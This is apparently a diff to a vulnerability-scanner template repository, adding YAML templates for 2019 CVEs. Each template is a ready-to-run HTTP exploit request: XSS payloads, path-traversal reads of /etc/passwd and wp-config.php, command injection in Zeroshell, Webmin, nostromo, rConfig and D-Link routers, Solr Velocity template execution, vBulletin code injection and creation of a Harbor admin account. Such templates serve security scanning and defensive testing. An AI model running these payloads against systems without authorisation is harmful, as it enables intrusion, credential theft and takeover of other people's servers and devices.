+        Content-Type: application/x-www-form-urlencoded
+
+        yuzo_related_post_css_and_style=</style><script>alert(0);</script>
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "<script>alert(0);</script>") == true'
+
+      - type: dsl
+        dsl:
+          - "contains(tolower(all_headers_2), 'text/html') == true"

cves/2019/CVE-2019-12314.yaml

@@ -4,6 +4,7 @@ info:
   name: Deltek Maconomy 2.2.5 LFIl
   author: madrobot
   severity: high
+  tags: cve,cve2019,lfi
 
 requests:
   - method: GET

cves/2019/CVE-2019-12461.yaml

@@ -0,0 +1,30 @@
+id: CVE-2019-12461
+
+info:
+  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+  tags: cve,cve2019,xss
+
+# Vendor Homepage: https://webport.se/
+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2019/CVE-2019-12593.yaml

@@ -0,0 +1,28 @@
+id: CVE-2019-12593
+
+info:
+  name: IIceWarp <=10.4.4 - Local File Inclusion
+  author: pikpikcu
+  severity: high
+  tags: cve,cve2019,lfi
+
+  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
+  # Google Dork:-Powered By IceWarp 10.4.4
+  # Vendor Homepage: http://www.icewarp.com
+  # Software Link: https://www.icewarp.com/downloads/trial/
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "[intl]"
+          - "root:x:0"

cves/2019/CVE-2019-12725.yaml

@@ -0,0 +1,28 @@
+id: CVE-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references: |
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+  tags: cve,cve2019,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

cves/2019/CVE-2019-14205.yaml

@@ -0,0 +1,24 @@
+id: CVE-2019-14205
+info:
+  name: WordPress Ext Adaptive Images LFI
+  author: pikpikcu
+  severity: high
+  tags: cve,cve2019,wordpress,wp-plugin,lfi
+  reference: https://github.com/security-kma/EXPLOITING-CVE-2019-14205
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "DB_NAME"
+          - "DB_PASSWORD"
+        part: body
+        condition: and
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-14223.yaml

@@ -0,0 +1,20 @@
+id: CVE-2019-14223
+
+info:
+  name: Alfresco Share Open Redirect
+  author: pd-team
+  severity: low
+  tags: cve,cve2019,redirect
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/share/page/dologin'
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$"

cves/2019/CVE-2019-14322.yaml

@@ -0,0 +1,26 @@
+id: CVE-2019-14322
+
+info:
+  name: Odoo 12.0 - Local File Inclusion
+  author: madrobot
+  severity: high
+  tags: cve,cve2019,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
+      - "{{BaseURL}}/web/static/c:/windows/win.ini"
+      - "{{BaseURL}}/base/static/c:/windows/win.ini"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body

cves/2019/CVE-2019-14696.yaml

@@ -0,0 +1,23 @@
+id: CVE-2019-14696
+
+info:
+  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-14696
+  tags: cve,cve2019,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'
+        part: body

cves/2019/CVE-2019-14974.yaml

@@ -4,6 +4,7 @@ info:
   name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
   author: madrobot
   severity: low
+  tags: cve,cve2019,xss
 
 requests:
   - method: GET

cves/2019/CVE-2019-15043.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-15043
+info:
+  author: bing0o
+  name: Grafana unauthenticated API
+  severity: medium
+  tags: cve,cve2019,grafana
+
+requests:
+  - raw:
+      - |
+        POST /api/snapshots HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 235
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/json
+
+        {"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
+
+    matchers:
+      - part: body
+        type: word
+        words:
+          - deleteKey

cves/2019/CVE-2019-15107.yaml

@@ -0,0 +1,30 @@
+id: CVE-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+  reference: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+  tags: cve,cve2019,webmin,rce
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2019/CVE-2019-15858.yaml

@@ -0,0 +1,43 @@
+id: CVE-2019-15858
+
+info:
+  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
+  author: dwisiswant0 & fmunozs & patralos
+  severity: high
+  description: |
+    This template supports the detection part only. See references.
+
+    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
+    before 2.2.5 for WordPress allows unauthenticated options import,
+    as demonstrated by storing an XSS payload for remote code execution.
+
+    Source/References:
+    - https://github.com/GeneralEG/CVE-2019-15858
+  tags: cve,cve2019,wordpress,wp-pluing,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "2.2.5"
+        part: body
+        negative: true
+
+      - type: word
+        words:
+          - "Changelog"
+        part: body
+
+      - type: word
+        words:
+          - "Woody ad snippets"
+        part: body

cves/2019/CVE-2019-16097.yaml

@@ -0,0 +1,31 @@
+id: CVE-2019-16097
+info:
+  name: Harbor Enables Privilege Escalation From Zero to admin
+  author: pikpikcu
+  severity: critical
+  issues: https://github.com/goharbor/harbor/issues/8951
+  reference: https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
+  tags: cve,cve2019,intrusive,harbor
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/api/users'
+    headers:
+      Content-Type: application/json
+    body: |
+          {"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "[email protected]", "realname": "poc"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "username has already been used"
+          - "Location: /api/users/"
+        part: all
+        condition: or
+
+      - type: status
+        status:
+          - 201
+          - 409

cves/2019/CVE-2019-16278.yaml

@@ -0,0 +1,26 @@
+id: CVE-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+  reference: https://www.exploit-db.com/raw/47837
+  tags: cve,cve2019,rce
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2019/CVE-2019-1653.yaml

@@ -0,0 +1,21 @@
+id: CVE-2019-1653
+
+info:
+  name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
+  author: dwisiswant0
+  severity: high
+  tags: cve,cve2019,cisco
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/config.exp"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "sysconfig"
+        part: body

cves/2019/CVE-2019-16662.yaml

@@ -0,0 +1,22 @@
+id: CVE-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+  reference: https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+  tags: cve,cve2019,rce,intrusive
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

cves/2019/CVE-2019-16759.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+  reference: https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+  tags: cve,cve2019,vbulletin,rce
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"

cves/2019/CVE-2019-16920.yaml

@@ -0,0 +1,61 @@
+id: CVE-2019-16920
+
+info:
+  name: Unauthenticated Multiple D-Link Routers RCE
+  author: dwisiswant0
+  severity: critical
+  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
+  reference: https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
+  tags: cve,cve2019,dlink,rce
+
+requests:
+  - raw:
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-17382.yaml

@@ -3,8 +3,9 @@ id: CVE-2019-17382
 info:
   name: Zabbix Authentication Bypass
   author: Harsh Bothra
-  severity: Critical
-  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+  severity: critical
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+  tags: cve,cve2019,zabbix
 
 requests:
   - method: GET

cves/2019/CVE-2019-17506.yaml

@@ -0,0 +1,29 @@
+id: CVE-2019-17506
+
+info:
+  name: DLINK DIR-868L & DIR-817LW Info Leak
+  author: pikpikcu
+  severity: critical
+  reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17506
+  tags: cve,cve2019,dlink
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/getcfg.php"
+
+    body: |
+        SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
+    headers:
+      Content-Type: text/xml
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "</password>"
+          - "DEVICE.ACCOUNT"
+        part: body

cves/2019/CVE-2019-17558.yaml

@@ -0,0 +1,57 @@
+id: CVE-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+  refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+  tags: cve,cve2019,apache,rce
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/2019/CVE-2019-18393.yaml

@@ -0,0 +1,24 @@
+id: CVE-2019-18393
+info:
+  name: Openfire LFI
+  author: pikpikcu
+  severity: high
+  reference: https://swarm.ptsecurity.com/openfire-admin-console/
+  tags: cve,cve2019,openfire,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "org.jivesoftware.database.EmbeddedConnectionProvider"
+          - "Most properties are stored in the Openfire database"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-18394.yaml

@@ -0,0 +1,17 @@
+id: CVE-2019-18394
+
+info:
+  name: Openfire Full Read SSRF
+  author: pdteam - nuclei.projectdiscovery.io
+  severity: critical
+  refrense: https://swarm.ptsecurity.com/openfire-admin-console/
+  tags: cve,cve2019,ssrf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
+    matchers:
+      - type: word
+        words:
+          - <h1>Burp Collaborator Server</h1>

cves/2019/CVE-2019-19368.yaml

@@ -4,6 +4,7 @@ info:
   name: Rumpus FTP Web File Manager 8.2.9.1 XSS
   author: madrobot
   severity: medium
+  tags: cve,cve2019,xss
 
 requests:
   - method: GET

cves/2019/CVE-2019-19781.yaml

@@ -4,6 +4,7 @@ info:
   name: Citrix ADC Directory Traversal
   author: organiccrap
   severity: high
+  tags: cve,cve2019,citrix,traversal
 
 requests:
   - method: GET